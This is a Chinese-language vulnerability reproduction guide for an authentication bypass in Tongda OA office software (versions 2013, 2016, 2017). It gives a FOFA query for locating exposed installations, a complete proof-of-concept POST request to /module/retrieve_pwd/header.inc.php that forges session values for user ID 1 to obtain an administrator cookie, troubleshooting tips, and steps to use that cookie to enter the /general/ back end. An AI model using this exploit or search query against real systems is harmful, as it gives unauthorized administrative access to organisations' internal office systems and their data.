通达OA是中国通达公司的一套协同办公自动化软件，通达OA2013，通达OA2016，通达OA2017 存在身份认证绕过漏洞，攻击者可以利用漏洞生成cookie，实现未授权访问。
1.漏洞级别
高危
2.漏洞搜索
fofa title="office Anywhere"
如需指定版本可以搜title="office Anywhere 2013"
3.漏洞复现
3.1 获取有效cookie
poc请求：
POST /module/retrieve_pwd/header.inc.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 1024_SESSION[LOGIN_THEME]=15&_SESSION[LOGIN_USER_ID]=1&_SESSION[LOGIN_UID]=1&_SESSION[LOGIN_FUNC_STR]=1,3,42,643,644,634,4,147,148,7,8,9,10,16,11,130,5,131,132,256,229,182,183,194,637,134,37,135,136,226,253,254,255,536,24,196,105,119,80,96,97,98,114,126,179,607,539,251,127,238,128,85,86,87,88,89,137,138,222,90,91,92,152,93,94,95,118,237,108,109,110,112,51,53,54,153,217,150,239,240,218,219,43,17,18,19,15,36,70,76,77,115,116,185,235,535,59,133,64,257,2,74,12,68,66,67,13,14,40,41,44,75,27,60,61,481,482,483,484,485,486,487,488,489,490,491,492,120,494,495,496,497,498,499,500,501,502,503,505,504,26,506,507,508,515,537,122,123,124,628,125,630,631,632,633,55,514,509,29,28,129,510,511,224,39,512,513,252,230,231,232,629,233,234,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,200,202,201,203,204,205,206,207,208,209,65,187,186,188,189,190,191,606,192,193,221,550,551,73,62,63,34,532,548,640,641,642,549,601,600,602,603,604,46,21,22,227,56,30,31,33,32,605,57,609,103,146,107,197,228,58,538,151,6,534,69,71,72,223,639,
- 注：手动测试时，需要注意Content-Type为必须项，否则生成的cookie无效。（我在这里被坑了好久 导致一直没成功复现）
返回的Set-Cookie即为我们需要的有效cookie。
3.2 实现登录
将上一步获取的cookie设置到header中。
- 注： 这个参数名需要修改成Cookie 而不是Set-Cookie
直接请求后台
url/general/
即可复现成功，网页端可以将cookie手动添加进去然后访问
至此漏洞就复现完成了。
